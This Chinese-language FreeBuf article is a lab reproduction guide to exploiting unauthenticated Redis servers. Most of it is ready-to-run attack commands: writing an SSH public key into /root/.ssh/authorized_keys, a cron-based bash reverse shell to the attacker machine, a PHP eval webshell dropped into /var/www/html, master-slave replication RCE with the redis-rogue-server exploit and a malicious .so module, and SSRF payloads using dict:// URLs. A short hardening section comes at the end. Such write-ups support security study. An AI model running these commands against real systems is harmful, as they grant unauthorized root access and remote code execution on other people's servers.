freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

漏洞复现 -- Redis漏洞总结
2021-11-07 11:07:17

Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

环境搭建

安装步骤参考:Redis未授权访问漏洞的重现与利用 - FreeBuf网络安全行业门户

操作系统:ubuntu20.4

首先先选择一个合适的版本,然后下载压缩包(这里建议选择5.01,我这一开始下成3.2.11了,后面改成的5.01,所以截图不太一样)。

wget http://download.redis.io/releases/redis-5.0.1.tar.gz

解压到文件夹后,进入解压的目录redis-3.2.11,使用

make

make完后,进入src目录,将redis-server和redis-cli拷贝到/usr/bin目录下(样启动redis-server和redis-cli就不用每次都进入安装目录了)。

1636253990_61874126891d91a409880.png!small?1636253990698

1636253996_6187412c6077f753b05ab.png!small?1636253996535

返回目录redis-3.2.11,将redis.conf拷贝到/etc/目录下:

1636254003_618741337d35b69b802a8.png!small?1636254003568

然后编辑etc目录下的redis.conf文件:

sudo gedit /etc/redis.conf

首先将ip绑定去掉,1636254012_6187413c30ab5c9c4468d.png!small?1636254012311

关闭保护模式,允许远程连接redis服务。1636254019_61874143995ce9c1652df.png!small?1636254019753

最后使用/etc/目录下的reids.conf文件中的配置启动redis服务:

redis-server /etc/redis.conf

1636254026_6187414aece99bab82919.png!small?1636254027204

注意:还需要检测是否关闭了防火墙

查询是否开启防火墙:

sudo ufw status

显示不活动即为关闭。

使用命令关闭:

sudo ufw disable

然后再安装ssh服务:

dpkg -l | grep ssh //查看是否安装了ssh服务,默认只安装了ssh-client服务。
sudo apt-get install openssh-server
dpkg -l | grep ssh
ps -e | grep ssh //查看服务是否开启

1636254040_61874158f2d0d76950c3e.png!small?1636254041240

1636254053_61874165cb3266a3e79fa.png!small?1636254053907

环境

目标机器:

ubuntu20 192.168.200.38

攻击机:

kali 192.168.200.4

win7 192.168.200.17

简介

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

简单说,漏洞的产生条件有以下两点:

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

无凭证ssh连接

SSH提供两种登录验证方式,一种是口令验证,另一种是密钥验证。

口令认证也就是账号密码认证,密钥认证就是我们目标的免密码登录。

所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密。

1.客户端生成私钥和公钥,并把公钥拷贝给服务器端;

2.客户端发起登录请求,发送自己的相关信息;

3.服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端;

4.客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证;

5.服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。

先决条件

6.Redis服务使用ROOT账号启动(如果不以root权限执行,将会导致后面命令执行失败);

7.服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

攻击

在攻击机本地生成公钥文件。

获取rsa:

ssh-keygen -t rsa

设置为无密码。

1636254085_61874185870bc2bddb93a.png!small?1636254085691

需要为我们的公钥文件设置一个私钥,

公钥文件默认路径:/root/.ssh/id_rsa.pub(除非生成时自己手动修改了存储地址)

查看公钥的内容:

cat id_rsa.pub

1636254104_61874198d418f0ca0dda4.png!small?1636254105094

然后通过redis无密码访问目标机器:

redis-cli -h 192.168.200.38

然后我们会进入一个命令行。

1636254113_618741a1beaac1ac4f68a.png!small?1636254113889

config get dir                  #检查当前保存路径
config get dbfilename              #检查保存文件名
config set dir /root/.ssh/         #设置保存路径
config set dbfilename authorized_keys #设置保存文件名

1636254138_618741ba55b505c498900.png!small?1636254138556

set g1ts "\n\n\n 公钥 \n\n\n"         #将公钥写入g1ts健
save                                #进行保存

1636254153_618741c9e6d12aac1ba69.png!small?1636254154051

然后进行ssh远程连接,

ssh -i /root/桌面/others/id_rsa root@192.168.200.38

可以发现无密码直接远程连接了ubuntu,

1636254169_618741d9ec9a2cc3e1fde.png!small?1636254170187

计划任务(ubuntu系统可能不能使用)

条件:

root启用Redis

攻击

首先先连接redis,然后清楚所有的键值

redis-cli -h 192.168.200.38
flushall

1636254184_618741e8526acb156f649.png!small?1636254184436

config set dir /var/spool/cron/crontabs/  #设置保存路径(写在计划任务储存的文件夹)
config set dbfilename g1ts               #设置保存名称

然后我们就可以写入执行的命令,可以用来反弹shell,不过在那之前首先先在kali设置监听。

nc -lvp 6666

1636254199_618741f7dabc43231f4b2.png!small?1636254199996

然后写入反弹语句,由于是计划任务,所以要设置时间。

crontab时间格式:crontab用法与实例 | 《Linux就该这么学》 (linuxprobe.com)

set g1ts "\n* * * * * * bash -i >& /dev/tcp/192.168.200.4/6666 0>&1\n"
save

然后命令就会执行,

但是似乎是应为我是ubuntu系统的原因,redis创建的计划任务执行失败,查看一下日志,发现是创建的文件权限不够。

1636254224_61874210d0d4b27afe537.png!small?1636254224937

系统需要600的权限(应该就是读写的权限),但是目前只有只读的文件,我查阅了资料,但是也没有发现如何创建一个600权限的计划任务,所以如果目标是ubuntu系统的话可能此方法不能够执行成功。

更多问题可以参考:解决ubuntu crontab反弹shell失败的问题 · 大专栏 (dazhuanlan.com)

写入shell

先决条件:

root权限启动redis

需要知道绝对路径

具有文件读写增删改查权限

redis-cli -h 192.168.200.38     #连接Redis
config set dir /var/www/html    #设置要写入shell的路径
config set dbfilename shell.php
set g1ts "\n\n\n<?php @eval($_GET("hack"))?>\n\n\n"         #写入一句话木马到g1ts键
save

Redis主从复制getshell

主从模式为使用两台redis,一台为主机,一台为从机;一台负责读,一台负责写,主机和从机的数据是一模一样的,使用主从模式的原因是redis是一个典型的Key-Value对应的数据库,redis中数据处理都是在内存中进行操作的,然后定期将数据存储到磁盘上,那么如果数据量过于庞大,就会对服务端造成比较大的负担,使用主从模式的读写分离可以缓解服务器上的流量压力,算是一种通过牺牲空间来换取效率的缓解方式。

漏洞成因:

Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)

先决条件:

Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)

root权限启动redis

环境搭建

首先先设置主从模式,将kali设置为主机:

redis-cli -h 192.168.200.38
slaveof 192.168.200.4 6379

1636254254_6187422ef29a60d0391fb.png!small?1636254255123

攻击

首先下载恶意代码。

下载地址:n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE (github.com)

可以下载下来本地编译,也可以使用作者编译好的exp.so

有两种模式,一种是交互式shell,一种是反弹shell

python3 ./redis-rogue-server.py --rhost 192.168.200.38 --lhost 192.168.200.4 --exp ./exp.so

输入i进入交互式shell

1636254275_618742434d9880c88f51b.png!small?1636254275537

1636254280_61874248e337c1d15efb1.png!small?1636254281249

但是在我测试的时候,使用ifconfig命令会导致shell退出,使用一些命令也会有几率导致退出

输入r进行反弹shell,在此之前需要先设置监听:

nc -lvp 6666

然后输入r进行反弹,在输入反弹的ip和端口。

1636254294_61874256d4ceb1d966f5d.png!small?1636254295077

通过redisSSRF

先决条件:

root启用redis

目标机存在dict协议

知道网站绝对路径

假设可以导致ssr的文件为ssrf.php,我们可以使用以下命令:

ssrf.php?var=dict://192.168.200.38:6379/flushall

当然我们也可以通过设置键来写入shell,不过写入时推荐使用主从复制写入,而不采用直接写入,因为可能会写入不进去。

首先先设置主从关系,

设置kali为主机:

ssrf.php?url=dict://192.168.200.38:6379/slaveof:192.168.200.4:6379

设置保存目录:

ssrf.php?url=dict://192.168.200.38:6379/config:set:dir:/var/www/html

设置保存文件名称:

ssrf.php?url=dict://192.168.200.38:6379/config:set:dbfilename:shell.php

进入kali,写文件:

redis-cli set g1ts "\n\n\n<?php phpinfo() ;?>\n\n\n"

然后再保存:

ssrf.php?url=dict://192.168.200.38:6379/save

切断主从复制:

ssrf.php?url=dict://192.168.200.38:6379/slaveof:no:one

防御措施

1.禁止监听在公网地址

将 Redis监听在 0.0.0.0 是十分危险的,所以需要修改 Redis 监听端口,在 Redis 的配置文件 redis.conf 中进行设置,找到包含 bind 的行,将默认的 bind 0.0.0.0 改为内网IP,然后重启Redis。

2.修改默认监听的端口

Redis默认监听端口为6379 ,为了更好的隐蔽服务,可以在redis.conf中修改Redis的监听端口,将默认端口6379改为其他的端口。

3.开启 Redis 安全认证并设置复杂的密码

为了防止 Redis 未授权访问攻击以及对 Redis 密码的爆破,可以在 redis.conf 配置文件中,通过 requirepass 选项开启密码认证并设置强密码。

4.禁止使用 root 权限启动

使用 Root 权限去运行网络服务是比较有风险的,所以不建议使用 Root 权限的任何用户启动 Redis。加固建议如:  useradd -s /sbin/nolog -M redis  sudo -u redis /<redis-server-path>/redis-server /<configpath>/redis.conf。

5.设置Redis配置文件的访问权限

因为 Redis 的明文密码可能会存储在配置文件中,所以必须禁止不相关的用户访问配置文件。

# 渗透测试 # 漏洞分析 # CTF # 漏洞复现 # redis漏洞
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录